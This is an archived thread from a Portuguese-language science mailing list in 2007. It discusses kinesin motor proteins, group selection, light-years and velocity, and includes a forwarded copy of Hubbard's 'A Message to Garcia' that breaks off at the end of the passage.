[E]> viu o "bonequinho" carregando a "bolona" e andando
em cima do tubo? é a cinesina, um motor celular transportando
uma mitocôndria por um filamento de tubulina.


_\|/_

----- Mensagem original ----
De: murilo filo <avalanchedrive@hotmail.com>
Para: ciencialist@yahoogrupos.com.br; pedraderoseta@yahoogrupos.com.br
Enviadas: Quinta-feira, 7 de Junho de 2007 22:19:33
Assunto: [ciencialist] legal













não entendo muito, mas gostei.

se estiver correto, outros gostarão.

treco legal e difícil de ser produzido.



Check out the the inside of that 'hovel', of which there are many millions,

that makes up the mansion you occupy right now...



http://www.youtube. com/watch? v=kxSLw1LMvgk



abr/m. sp 07/jun07


















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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Seleção de grupos
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/06/2007 21:24


Muitos biólogos conceituados rejeitam a idéia de seleção de grupos. A
mim parece óbvio que tal coisa pode acontecer. Tomemos o caso dos
dinossauros. Quando um dinossauro estava morrendo, não era porque ele
apresentava alguma característica que o fazia ser menos adaptado que
outros. Foi o padrão inteiro que perdeu aptidão evolutiva. A variação
genética de cada organismo existente nessas populações não fez a
menor diferença. A seleção parece atuar a nível de organismos quando
as mudanças são graduais. Mas quando se trata de mudanças bruscas,
como a queda de um meteoro, pode haver seleção a nível de espécies,
ou mesmo famílias, classes e ordens. No caso dos dinossauros ordens
inteiras foram erradicadas.

João de Carvalho






SUBJECT: RE: Res: [ciencialist] legal
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/06/2007 22:48

Ví... achei essa cinesina inacreditável! Uma belezinha, mesmo.
Dá para acreditar que ela tem alguma consciência segmentada, ou
semi-autônoma?
Toda cinesina faz isso e só isso?
Ela sabe quando agir? Ela também descança?
Achei tudo muito porrêta!
abr/M.



>Subject: Res: [ciencialist] legal
>Date: Fri, 8 Jun 2007 15:19:07 -0700 (PDT)
>
>[E]> viu o "bonequinho" carregando a "bolona" e andando
>em cima do tubo? é a cinesina, um motor celular transportando
>uma mitocôndria por um filamento de tubulina.
>
>
>_\|/_
>
>----- Mensagem original ----
>De: murilo filo <avalanchedrive@hotmail.com>
>Para: ciencialist@yahoogrupos.com.br; pedraderoseta@yahoogrupos.com.br
>Enviadas: Quinta-feira, 7 de Junho de 2007 22:19:33
>Assunto: [ciencialist] legal


>
> não entendo muito, mas gostei.
>
>se estiver correto, outros gostarão.
>
>treco legal e difícil de ser produzido.
>
>
>
>Check out the the inside of that 'hovel', of which there are many millions,
>
>that makes up the mansion you occupy right now...
>
>
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>
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>abr/m. sp 07/jun07
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SUBJECT: Re: [ciencialist] Re: Espaço-de-tempo?
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 09/06/2007 00:03

Ferrari escreveu: [ Posso dizer que a distancia SP-RJ é 6 horas-ferrari, é
isto? ]
...........................................

Caro, Ferrari! A melhor resposta para essa questão sempre vai ser:
*depende*. Depende do motorista, da estrada, do tempo metereológico, das
condições do carro, do trânsito e de milicentas outras ocorrências que podem
fazer com que o tempo do percurso feito pela ferrari do Ferrari não seja
aproximadamente de seis horas.

Essa conversão de eventos construído e/ou sustentados por milhões de
*recursos-movimentos* em tempo médio previsto é uma "doce ilusão", muito
utilizada para resumir um detalhado planejamento de tempos, movimentos e
disponibilidade de recurso. Assim, qualquer realização complexa é resumida
em um período de tempo, em um cronograma. E a pergunta do tipo em quanto
tempo vc constrói essa casa, se resume em apenas duas palavras: seis
meses... E o coitado cidadão-comum fica esperando passar os seis meses para
morar. Se o construtor não planejou e providenciou todos os recursos
(material, mão-de-obra, transporte, logística, etc. a tempo e a hora) para
que a casa fosse construída, se não considerou eventuais interferências
climáticas e administrou todos esses componentes de perto para manter o
prazo prometido, certamente vai ocorrer o que já é comum: passa o prazo e a
obra não está concluída...

Em minhas experiências de elaboração e fiscalização de contratos,
planejamento de projetos, organização de atividades e programações de
logística, alerto minha equipe com algumas horas de treinamento, durante o
qual faço despretenciosamente uma pergunta bem simples, do tipo: quanto
tempo vc gasta para - por exemplo - acender uma vela com segurança?
As respostas vão surgindo e são anotados nomes versus o tempo que cada
colaborador prevê para realizar a tarefa "acender uma vela". Depois disso
coloco no final o meu nome e o tempo que estimo para fazer a tarefa: um
minuto. Esse tempo coincide com o tempo previsto por várias pessoas do
grupo... Depois, em conjunto com a turma calculo aproximadamente um tempo
médio-ponderado com as previsões dadas, identifico o nome do colaborador que
mais se aproximou dessa média em sua previsão e peço que execute a tarefa no
tempo que *ele previu*... Nessa hora, a turma começa a cair na real...
Procura fósforo, isqueiro... Onde encontrar uma vela? Vasculham gavetas, as
oficinas e encruzilhadas, enquanto ficamos olhando a agonia do desprevenido
planejador, vendo o tempo "passar" no movimento do relógio... Em geral o
tempo estimado é ultrapassado em muito... Aparece então um mais esperto e
questiona se eu cumpriria o prazo que previ... Silêncio na sala em
suspense... Tiro vela e fósforo do bolso, acendo e a fixo sobre uma
superfície não combustível... Em aproximadamente um minuto. A conclusão fica
óbvia a todos. E a partir dela listamos os pontos principais a serem
considerados em um planejamento minimamente consistente e/ou confiável.
Enfim, entendemos que o tempo cronométrico nada realiza.

Abraços

José Renato
.................................................

----- Original Message -----
From: "Ferrari" <emailferrari@yahoo.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Wednesday, June 06, 2007 12:40 PM
Subject: Re: [ciencialist] Re: Espaço-de-tempo?


> Olá Takata!
>
> Takata >>> Um ano-luz tem quase 10 trilhões de km.
> Medir a distância entre São Paulo e Rio de Janeiro
> levaria a frações de trilionésimos de ano-luz.
>
> --- Por favor, me corrija se estiver errado e onde
> estiver errado. Assumindo que a distancia SP-RJ é 600
> km. Assumindo a velocidade do meu carro (ferrari) é de
> 100 km/h. Posso dizer que a distancia SP-RJ é 6
> horas-ferrari, é isto? Senão for, o que é? Entende a
> relação que estou investigando?
>
>
> grato
> ferrari
>
>
>
> EXPERIMENTE XIXI COM TINTA (novo livro do
> Ferrari):
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SUBJECT: Re: Seleção de grupos
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 09/06/2007 01:13

A extinção em massa catastrófica não é um bom exemplo de seleção -
muito menos de seleção de grupo.

No caso específico da extinção K-T, os grupos extintos não apresentam
nenhuma característica óbvia q compartilhem e q os distingam dos
grupos q sobreviveram.

E mm q se se tratasse de seleção, não iria se configurar
necessariamente em seleção de grupo.

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, "Joao de Carvalho"
> Muitos biólogos conceituados rejeitam a idéia de seleção de grupos.
> A mim parece óbvio que tal coisa pode acontecer. Tomemos o caso dos
> dinossauros. Quando um dinossauro estava morrendo, não era porque
> ele apresentava alguma característica que o fazia ser menos adaptado
> que outros. Foi o padrão inteiro que perdeu aptidão evolutiva. A
> variação genética de cada organismo existente nessas populações não
> fez a menor diferença. A seleção parece atuar a nível de organismos
> quando as mudanças são graduais. Mas quando se trata de mudanças
> bruscas, como a queda de um meteoro, pode haver seleção a nível de
> espécies, ou mesmo famílias, classes e ordens. No caso dos
> dinossauros ordens inteiras foram erradicadas.




SUBJECT: Re: Espaço-de-tempo?
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 09/06/2007 01:25

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> 2) A velocidade constante do carro-ferrari depende de
> uma aceleração constante, certo? Esta aceleração vem
> da combustão da gasolina. E a constante do carro-luz,
> depende de que aceleração? E esta aceleração, depende
> de que combustivel?

Errado. Bem, meio certo - depende de aceleração constante, mas
constantemente igual a zero. Se a aceleração - constante ou não - for
diferente de zero, a velocidade não é constante.

Aceleração é definida como variação de velocidade sobre intervalo de
tempo. É a medida de qto a velocidade de um objeto varia no tempo.

Pela primeira lei de Newton, a velocidade de um corpo permanece
constante se não houver nenhuma força resultante atuando sobre ele.
Isto é, o somatório de todas as forças que atuam sobre o corpo deve
ser igual a zero.

No caso do carro, permanecer em movimento gasta combustível em função
da existência do atrito - sobre os pneus e o arrasto aerodinâmico -
mas enqto sua velocidade é constante, a aceleração q ele sofre é zero
e a resultando das forças q atuam sobre ele - as forças de atrito com
o ar, com o solo e a força de contato com o solo - somam zero.

> 3) Pra medir a distancia em centimetros entre dois
> pontos numa folha de papel posso usar uma régua. Se
> quiser medir estes mesmos dois pontos no papel em
> centimetros-luz, como seria o processo de medição?

Não existe centímetros-luz como unidade de comprimento, não faz
sentido. É preciso ser uma unidade de tempo vezes velocidade.
Centímetro é uma unidade de distância.

> curiosidade que me pegou pelo pé foi esta coisa de
> medir distancia espacial com velocidade, e o fato de
> velocidade incluir tempo.

Não se mede uma distância com velocidade. Ano-luz não é velocidade, é
distância. Como já disse, velocidade é a variação da posição de um
corpo ao longo do tempo. Se vc tem velocidade e tem o tempo, pode
saber a variação da posição - bastando multiplicar as duas quantidades
(claro, desde q as unidades sejam adequadas).

[]s,

Roberto Takata



SUBJECT: Re: A resposta: E= 2,75536 X10^(-11) Joules
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 09/06/2007 01:29

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> Takata >>> Só acho q vc não deveria enrolar para
> esperar q seu amigo lhe passe a resolução. Se vc
> soubesse, logicamente teria enviado já a resolução - e
> teria enviado bem antes na verdade.
>
> --- É uma teoria interessante. Pode prova-la?

*NENHUMA* teoria pode ser provada positivamente. No máximo pode-se
mostrar q ela é falsa. O poder de mostrar q ela é falsa está em suas
mãos. A cada dia q vc enrola, vc perde uma oportunidade de demonstrar
q vc sabe resolver sem colar de ninguém.

> --- Takata, vc disse que conseguia dividir o carro sem
> separar as partes. É isto que é impossivel.

"Se fosse impossível ninguém trocava pneu."

Volto ao exemplo da piscina. Vc colocar uma parede no meio - com o
*mesmo* material de q são feitas as paredes laterais da piscina - faz
com q ela seja dividida sem aumentar o espaço entre as partes. É assim
que bactérias se dividem/reproduzem.

[]s,

Roberto Takata



SUBJECT: Re: Seleção de grupos
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 09/06/2007 01:55

--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
> E mm q se se tratasse de seleção, não iria se configurar
> necessariamente em seleção de grupo.

Seleção de grupo ocorre qdo uma característica é selecionada
positivamente (ou negativamente) porq beneficia (ou prejudica) não o
indivíduo que a possui, mas sim o grupo em q o indivíduo q a possui está.

[]s,

Roberto Takata



SUBJECT: Re: Res: [ciencialist] legal
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 09/06/2007 03:10

--- Em ciencialist@yahoogrupos.com.br, "murilo filo"
> Toda cinesina faz isso e só isso?

Ela é um tipo de ATPase. Ela se liga a proteínas de membrana das
organelas e às proteínas dos microtúbulos do citoesqueleto. Qdo isso
acontece, sua conformação se altera e ela "anda" sobre o microtúbulo
arrastando a organela. Com a modificação de sua conformação, a
molécula de ATP q está ligado à cinesina é quebrado, o q faz com q a
cinesina volte à sua conformação original, podendo reiniciar o ciclo.

Eqto não houver inibidores - proteínas q se ligam aos sítios de
conexão com o ATP, o microtúbulo e/ou com as organelas - e houver ATP,
as cinesinas fazem o transporte.

Respondendo às suas perguntas:
- Sim, toda cinesina faz isso, por definição - são ATPases carreadoras
de macromoléculas ao longo do citoesqueleto.
- Sim, como muitas outras proteínas elas apresentam uma grande
especificidade em sua reação.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: Espaço-de-tempo?
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 09/06/2007 13:05

Olá Takata!

Takata >>> No caso do carro, permanecer em movimento
gasta combustível em função da existência do atrito...

--- Ok, se não tivesse atrito, o carro permeceria em
velocidade constante de 100 km/h sem precisar gastar
gasolina, é isto? Ele atingiria a velocidade de 100
km/h, digamos, com a combustão de 1 litros de
gasolina, e depois que a atingisse poderia desligar o
motor que seguiria constantemente nesta velocidade, é
isto?

--- Pergunto, fazendo uma analogia, se um
carro-ferrari usa a combustão pra atingir a velocidade
de 100 km/h e seguir a viagem com o motor desligado, o
que um carro-luz uma pra atingir a velocidade da luz?
Entende a comparação?

Ferrari >>> Pra medir a distancia em centimetros entre
dois pontos numa folha de papel posso usar uma régua.
Se quiser medir estes mesmos dois pontos no papel em
anos-luz, como seria o processo de medição?

Takata >>> Não existe centímetros-luz como unidade de
comprimento. Não faz sentido.

--- Sim, foi um erro de analogia. Note que reescrevi a
pergunta.

Takata >>> Não se mede uma distância com velocidade.
Ano-luz não é velocidade, é distância.

--- Ok. Ficarei atento com isto.

Takata >>> Como já disse, velocidade é a variação da
posição de um corpo ao longo do tempo. Se vc tem
velocidade e tem o tempo, pode saber a variação da
posição - bastando multiplicar as duas
quantidades(claro, desde q as unidades sejam
adequadas).

--- Takata, lendo o que vc disse ai, está me parecendo
que não se tem uma forma (fisica e direta) de se medir
distância em anos-luz, é isto? Esta grandeza
(velocidade da luz) é um indice matemático (abstrata)
e só surge da relação matemática entre outras duas
grandeza, a grandeza que foi medido com o rélogio em
relação a grandeza que foi medida com a régua, é isto?


grato
ferrari






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SUBJECT: Re: [ciencialist] Re: A resposta: E= 2,75536 X10^(-11) Joules
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 09/06/2007 13:16

Olá Takata! <roberto.takata@bol.com.br> escreveu:

Takata >>> A cada dia q vc enrola, vc perde uma
oportunidade de demonstrar q vc sabe resolver sem
colar de ninguém.

--- Takata, e o que é viver senão ficar enrolando pra
morrer. Tá com pressa do que? Aproveita a viagem!

Takata >>> Volto ao exemplo da piscina. Vc colocar uma
parede no meio - com o *mesmo* material de q são
feitas as paredes laterais da piscina - faz com q ela
seja dividida sem aumentar o espaço entre as partes. É
assim que bactérias se dividem/reproduzem.

--- Takata, vamos simplificar. Vamos pegar uma folha
de papel, fazemos um risco no meio. A folha está
dividida? Sim e não. Como sim e não. Depende da visão
que vc usar pra definir. Se vc considerar a imagem,
então está dividida, tem duas metades, mas se vc
considerar o papel, não está, é o mesmo papel.
Analogamente, é assim que a matéria é indivizivel e
dividida ao mesmo tempo. De fato, é indivisivel. Mas
como não conhecemos a realidade de fato, mas só de
mapa, então, a matéria sempre será dividida, mesmo
nunca sendo, entende? É simples, e duvido que vc nunca
tenha considerado isto.



sinceramente
ferrari








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SUBJECT: Re: [ciencialist] Re: Espaço-de-tempo?
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 09/06/2007 13:19

Renato,

Grato pela resposta.

Pra fim de estudo, e analogia,
estou considerando que não depende
Ou seja, sem interveções.
Mas continue participando da investigação
Creio que tem a ver com suas curiosidades também


sinceramente
ferrari






--- José Renato <jrma@terra.com.br> escreveu:

> Ferrari escreveu: [ Posso dizer que a distancia
> SP-RJ é 6 horas-ferrari, é
> isto? ]
> ...........................................
>
> Caro, Ferrari! A melhor resposta para essa questão
> sempre vai ser:
> *depende*. Depende do motorista, da estrada, do
> tempo metereológico, das
> condições do carro, do trânsito e de milicentas
> outras ocorrências que podem
> fazer com que o tempo do percurso feito pela ferrari
> do Ferrari não seja
> aproximadamente de seis horas.
>
> Essa conversão de eventos construído e/ou
> sustentados por milhões de
> *recursos-movimentos* em tempo médio previsto é uma
> "doce ilusão", muito
> utilizada para resumir um detalhado planejamento de
> tempos, movimentos e
> disponibilidade de recurso. Assim, qualquer
> realização complexa é resumida
> em um período de tempo, em um cronograma. E a
> pergunta do tipo em quanto
> tempo vc constrói essa casa, se resume em apenas
> duas palavras: seis
> meses... E o coitado cidadão-comum fica esperando
> passar os seis meses para
> morar. Se o construtor não planejou e providenciou
> todos os recursos
> (material, mão-de-obra, transporte, logística, etc.
> a tempo e a hora) para
> que a casa fosse construída, se não considerou
> eventuais interferências
> climáticas e administrou todos esses componentes de
> perto para manter o
> prazo prometido, certamente vai ocorrer o que já é
> comum: passa o prazo e a
> obra não está concluída...
>
> Em minhas experiências de elaboração e fiscalização
> de contratos,
> planejamento de projetos, organização de atividades
> e programações de
> logística, alerto minha equipe com algumas horas de
> treinamento, durante o
> qual faço despretenciosamente uma pergunta bem
> simples, do tipo: quanto
> tempo vc gasta para - por exemplo - acender uma vela
> com segurança?
> As respostas vão surgindo e são anotados nomes
> versus o tempo que cada
> colaborador prevê para realizar a tarefa "acender
> uma vela". Depois disso
> coloco no final o meu nome e o tempo que estimo para
> fazer a tarefa: um
> minuto. Esse tempo coincide com o tempo previsto por
> várias pessoas do
> grupo... Depois, em conjunto com a turma calculo
> aproximadamente um tempo
> médio-ponderado com as previsões dadas, identifico o
> nome do colaborador que
> mais se aproximou dessa média em sua previsão e peço
> que execute a tarefa no
> tempo que *ele previu*... Nessa hora, a turma começa
> a cair na real...
> Procura fósforo, isqueiro... Onde encontrar uma
> vela? Vasculham gavetas, as
> oficinas e encruzilhadas, enquanto ficamos olhando a
> agonia do desprevenido
> planejador, vendo o tempo "passar" no movimento do
> relógio... Em geral o
> tempo estimado é ultrapassado em muito... Aparece
> então um mais esperto e
> questiona se eu cumpriria o prazo que previ...
> Silêncio na sala em
> suspense... Tiro vela e fósforo do bolso, acendo e a
> fixo sobre uma
> superfície não combustível... Em aproximadamente um
> minuto. A conclusão fica
> óbvia a todos. E a partir dela listamos os pontos
> principais a serem
> considerados em um planejamento minimamente
> consistente e/ou confiável.
> Enfim, entendemos que o tempo cronométrico nada
> realiza.
>
> Abraços
>
> José Renato
> .................................................
>
> ----- Original Message -----
> From: "Ferrari" <emailferrari@yahoo.com.br>
> To: <ciencialist@yahoogrupos.com.br>
> Sent: Wednesday, June 06, 2007 12:40 PM
> Subject: Re: [ciencialist] Re: Espaço-de-tempo?
>
>
> > Olá Takata!
> >
> > Takata >>> Um ano-luz tem quase 10 trilhões de km.
> > Medir a distância entre São Paulo e Rio de Janeiro
> > levaria a frações de trilionésimos de ano-luz.
> >
> > --- Por favor, me corrija se estiver errado e onde
> > estiver errado. Assumindo que a distancia SP-RJ é
> 600
> > km. Assumindo a velocidade do meu carro (ferrari)
> é de
> > 100 km/h. Posso dizer que a distancia SP-RJ é 6
> > horas-ferrari, é isto? Senão for, o que é? Entende
> a
> > relação que estou investigando?
> >
> >
> > grato
> > ferrari
> >
> >
> >
> > EXPERIMENTE XIXI
> COM TINTA (novo livro do
> > Ferrari):
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> > Esta mensagem foi verificada pelo E-mail Protegido
> Terra.
> > Scan engine: McAfee VirusScan / Atualizado em
> 06/06/2007 / Versão:
> > 5.1.00/5047
> > Proteja o seu e-mail Terra:
> http://mail.terra.com.br/
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> >
> >
> > --
> > No virus found in this incoming message.
> > Checked by AVG Free Edition.
> > Version: 7.5.472 / Virus Database: 269.8.9/834 -
> Release Date: 5/6/2007
> > 14:38
> >
> >
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SUBJECT: Vídeo - Dynamic Goldberg Machine
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO: ciencialist@yahoogrupos.com.br, "Vivens Scientia" <VivensScientia@yahoogroups.com>
DATE: 09/06/2007 15:59

----
Ou mega ultra hyper falta do que fazer

Engenhosidade dinâmica ( e nada para fazer :-))

Dynamic Goldberg Machine
http://haha.nu/amazing/dynamic-goldberg-machine/


SUBJECT: off topic: << Mensagem a Garcia >>
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO: "Vivens Scientia" <VivensScientia@yahoogroups.com>, ciencialist@yahoogrupos.com.br
DATE: 09/06/2007 16:16

---------- Forwarded message ----------

Recebi o "Mensagem a Garcia" quando ainda trabalhava na Marinha, em
1983. Foi um texto que me marcou. Hoje, via email, acabo de recebê-lo
e o reli, com as explicações do autor. É longo mas vale a leitura.

--- clip ---

Explicação do autor da "Mensagem a Garcia", escrito em dezembro de 1913

Esta insignificância literária, Mensagem a Garcia, escrevi-a, em uma
hora, para o número de março da nossa revista, Philistine, numa noite
depois do jantar, em 22 de fevereiro de 1899, aniversário de George
Washington.

Encontrava-me com disposição para escrever. O artigo brotou espontâneo
do meu coração, redigido depois de um dia afanoso, durante o qual eu
tinha procurado convencer alguns moradores um tanto renitentes do
lugar, de que deviam sair do estado comatoso em que se encontravam,
esforçando-me por incutir-lhes radioatividade.

A idéia original veio-me de um pequeno argumento ventilado pelo meu
filho Bert, quando ele procurou sustentar ser Rowan o verdadeiro herói
da Guerra de Cuba. Rowan pôs-se a caminho só e deu conta do recado:
levou a mensagem a Garcia.

Como uma centelha luminosa, a idéia se assenhorou da minha mente. É
verdade - disse comigo mesmo - o rapaz tem toda a razão, o herói é
aquele que dá conta do recado: que leva a mensagem a Garcia!

Levantei-me da mesa e escrevi "Mensagem a Garcia" de uma assentada.
Liguei tão pouca importância ao artigo que o publiquei sem título na
revista.

Pouco depois de a edição ter saído do prelo, começaram a afluir
pedidos para exemplares adicionais: uma dúzia, cinqüenta, cem. Quando
a American News Company encomendou mais de mil exemplares, perguntei a
um dos meus empregados qual o artigo que havia levantado o pó cósmico.
- Esse do Garcia -, retrucou-me ele.

No dia seguinte chegou um telegrama de George H. Daniels, da Estrada
de Ferro Central de Nova York, pedindo o preço para cem mil exemplares
do artigo sob forma de folheto, com anúncios da estrada de ferro no
verso. Pedia também que indicasse o prazo de entrega.

Respondi indicando o preço, e acrescentando que podia entregar os
folhetos dali a dois anos. Dispúnhamos de facilidades restritas e cem
mil folhetos afigurava-se um empreendimento de monta.

O resultado foi que autorizei o Sr. Daniels a reproduzir o artigo
conforme lhe aprouvesse. Fê-lo em forma de folhetos e distribuiu-os em
tal profusão que duas ou três edições de meio milhão se esgotaram
rapidamente. Além disso, o artigo foi reproduzido em mais de duzentas
revistas e jornais e tem sido traduzido, por assim dizer, em todas as
línguas faladas.

Quando o Sr. Daniels estava fazendo a distribuição da "Mensagem a
Garcia", o príncipe Hilakoff, diretor das Estradas de Ferro Russas,
encontrava-se nos EUA: era hóspede da Estrada de Ferro Central de Nova
York, percorrendo o país em companhia do Sr. Daniels.

O príncipe viu o folheto e por ele se interessou. Mais pelo fato de
ser o próprio Sr. Daniels que o estava distribuindo em tão grande
quantidade, que qualquer outro motivo.

Quando o príncipe regressou a sua pátria mandou traduzir o folheto
para o russo e entregar um exemplar a cada empregado da Estrada de
Ferro da Rússia. Em pouco tempo foi imitado por outros países: da
Rússia o artigo passou para a Alemanha, França, Turquia, Indostão e
China.

Durante a guerra entre a Rússia e o Japão, foi entregue um exemplar de
"Mensagem a Garcia" a cada soldado russo que se destinava ao "front".

Os japoneses, ao encontrarem os livrinhos em poder dos prisioneiros
russos, chegaram à conclusão que havia de ser uma informação valiosa e
não tardaram em vertê-lo para o japonês. Por ordem do Micado foi
distribuído um exemplar a cada empregado civil ou militar, do governo
japonês.

Mais de cem milhões de exemplares foram impressos, o que é sem dúvida
a maior circulação jamais atingida por qualquer trabalho literário
durante a vida do autor, graças a uma série de circunstâncias felizes.

East Aurora, 01 de dezembro de 1913
Helbert Hubbard

---

MENSAGEM A GARCIA
- por Helbert Hubbard

Em todo este caso cubano um homem se destaca no horizonte de minha memória.
Quando irrompeu a guerra entre a Espanha e os EUA, o que importava a
estes era comunicar-se com o chefe dos insurretos, Garcia, que sabiam
se encontrar em alguma fortaleza no interior do sertão cubano, mas sem
que se pudesse dizer exatamente onde.

Era impossível um entendimento com ele pelo correio ou pelo telégrafo.
No entanto, o Presidente precisava-lhe da colaboração o mais
rapidamente possível. Que fazer?

Alguém lembrou:
- Há um homem chamado Rowan, e se alguma pessoa é capaz de encontrar
Garcia, há de ser Rowan.

Rowan foi trazido à presença do Presidente, que lhe confiou uma carta
com a incumbência de entregá-la a Garcia.

De como Rowan tomou a carta, meteu-a num invólucro impermeável,
amarrou-a ao peito, e após quatro dias saltou de um barco sem sequer
uma cobertura, alta noite, nas costas de Cuba; de como se embrenhou no
sertão para depois de três semanas surgir do outro lado da ilha, tendo
atravessado a pé um país hostil e entregue a carta a Garcia, são
coisas que não vem ao caso narrar aqui pormenorizadamente.

O ponto que desejo frisar é este: MacKinley, o Presidente, deu a Rowan
uma carta para ser entregue a Garcia. Rowan tomou a carta e nem sequer
perguntou onde Garcia estava: entregou-a.

Salve! Eis aí um homem cujo busto merecia ser fundido em bronze e sua
estátua colocada em cada escola.

Não é somente de sabedoria livresca que a juventude precisa, nem
somente de instrução sobre isto ou aquilo: precisa sim de um
endurecimento das vértebras, para poder mostrar-se altiva no exercício
de um cargo; para atuar com diligência, para dar conta do recado;
para, em suma, levar uma mensagem a Garcia.

A nenhum homem que se tenha empenhado em levar avante uma grande
tarefa em que a ajuda de muitos se torna necessária, têm sido poupados
momentos de verdadeiro desespero ante a imbecilidade de um grande
número de homens, ante a inabilidade ou a falta de disposição de
concentrar a mente numa determinada coisa e fazê-la.

A regra geral tem sido: assistência irregular, desatenção tola,
indiferença irritante e trabalho mal feito.

Ninguém pode ser verdadeiramente bem sucedido, salvo se lançar mão de
todos os meios ao seu alcance para fazer com que outros homens o
auxiliem, a não ser que Deus, na sua grande misericórdia, faça um
milagre, enviando-lhe como auxiliar um anjo de luz.

Tu mesmo podes tirar a prova. Chame um dos seus empregados e peça:
- Queira ter a bondade de consultar a enciclopédia e fazer uma
descrição resumida de Corrégio.

Dar-se-á o caso de o empregado dizer calmamente: sim senhor, e
executar o que pediste?
Nada disso! Olhar-te-á admirado para fazer uma ou algumas das
seguintes perguntas:
- Quem é ele?
- Que enciclopédia?
- Onde é que está a enciclopédia?
- Fui eu acaso contratado para fazer isso?
- E se o Carlos o fizesse?
- Já morreu?
- Precisa disso com urgência?
- Não quer que traga o livro para que o senhor mesmo procure?
- Para que quer saber disso?

E aposto dez contra um que, depois de teres respondido tais perguntas,
explicando a maneira de procurar os dados pedidos e a razão por que
deles precisas, teu empregado irá pedir a um companheiro que o ajude a
encontrar Corrégio, e depois voltará para te dizer que tal homem não
existe.

Evidentemente pode ser que eu perca a aposta, mas segundo a regra e a
conduta geral, aposto que não.

A dificuldade de expediente, a incapacidade moral, a fraqueza de
vontade, a falta de disposição de se pôr em campo e agir, são causas
que impedem o advento do progresso e da felicidade. Se o homem não
toma a iniciativa de agir em seu próprio proveito, nada fará se o
resultado do seu esforço redundar em benefício de todos. Por enquanto
parece que o homem ainda precisa ser dirigido.

O que mantém muito empregado no seu posto e o faz trabalhar é o medo
de, se não o fizer, ser despedido no fim do mês.

Anuncie precisar de um taquígrafo: nove entre dez candidatos à vaga
não saberão ortografar nem pontuar e, o que é mais grave, pensam não
ser necessário sabê-lo.

Poderão pessoas assim entregar uma carta para Garcia?

- Vê aquele burocrata ? Dizia-me o chefe de uma grande fábrica.
- Sim, o que tem?
- É um excelente burocrata. Contudo, se eu o mandasse dar um recado,
talvez se desobrigasse da incumbência a contento, mas, podia ser que
no caminho entrasse em duas ou três casas de bebidas e, quando
chegasse ao seu destino, já não se recordasse sequer da tarefa que lhe
fora dada.

Será possível confiar-se a tal homem uma carta para ser entregue a Garcia?

Ultimamente temos ouvido expressões sentimentais, demonstrando
simpatia para com os pobres entes que lutam de sol a sol, para com os
infelizes desempregados à cata do trabalho honesto, e tudo isso, quase
sempre, entremeado de muita palavra dura para com os homens que estão
no poder.

Nada se diz do patrão que envelhece antes do tempo, num esforço inútil
para induzir eternos desgostosos e descontentes a trabalharem
conscienciosamente. Nada se diz de sua longa e paciente procura de
pessoas, que, muitas vezes, nada mais fazem do que matar o tempo logo
que ele volta às costas.

Não há empresa que não esteja despedindo pessoal que se mostre incapaz
de zelar pelos seus próprios interesses, a fim de substituí-lo por
outro mais apto. Este processo de seleção está se operando
incessantemente e, quando os tempos são maus e o trabalho escasseia, a
seleção se faz mais meticulosa, pondo-se fora, para sempre, os
incompetentes e os inaproveitáveis.

É a lei da sobrevivência do mais capacitado. Cada patrão, no interesse
comum, trata somente de guardar os melhores. Aqueles que podem levar a
"Mensagem a Garcia".

Conheci um homem de aptidões brilhantes, mas sem a fibra necessária
para dirigir um negócio próprio, e que ainda se tornou completamente
nulo para o patrão, devido a suspeita que constantemente abrigava de
que estava sendo explorado: sem poder mandar em alguém, não tolerava
que alguém mandasse nele. Se lhe fosse confiada uma mensagem a Garcia,
retrucaria, provavelmente: leve-a você mesmo.

Hoje esse homem perambula pelas ruas em busca de trabalho, em estado
quase de miséria. Ninguém que o conhece se aventura a lhe dar
trabalho, porque é a personificação do descontentamento e do espírito
de discórdia.

Sei, não resta dúvida, que um indivíduo moralmente aleijado como este
não é menos digno de compaixão, mas, vertamos também uma lágrima pelos
homens que se esforçam por levar avante uma grande empresa, cujas
horas de trabalho não estão limitadas pelo som do apito e cujos
cabelos ficam muito cedo envelhecidos na incessante luta em que estão
empenhados contra a indiferença desdenhosa, contra a imbecilidade
crassa e a ingratidão atroz, justamente daqueles que sem seu espírito
empreendedor, poderiam andar famintos e sem lar.

Dar-se-á o caso de eu ter pintado a situação em cores demasiado carregadas?

Pode ser que sim; mas quando todo mundo se prende a divagações, quero
lançar uma palavra de simpatia ao homem que dá êxito a um
empreendimento, ao homem que, a despeito de uma porção de empecilhos,
sabe dirigir e coordenar os esforços de outros e que, após o triunfo,
talvez verifique que nada ganhou. Nada, salvo a sua simples
subsistência.

Carreguei marmitas e trabalhei como jardineiro, como também já fui
patrão. Sei, portanto, que alguma coisa se pode dizer de ambos os
lados.

Não há excelência na pobreza em si mesma; farrapos não servem de recomendação.
Nem todos o patrões são gananciosos e tiranos, da mesma forma que nem
todos os pobres são virtuosos.

Todas as minhas simpatias pertencem ao homem que trabalha quer o
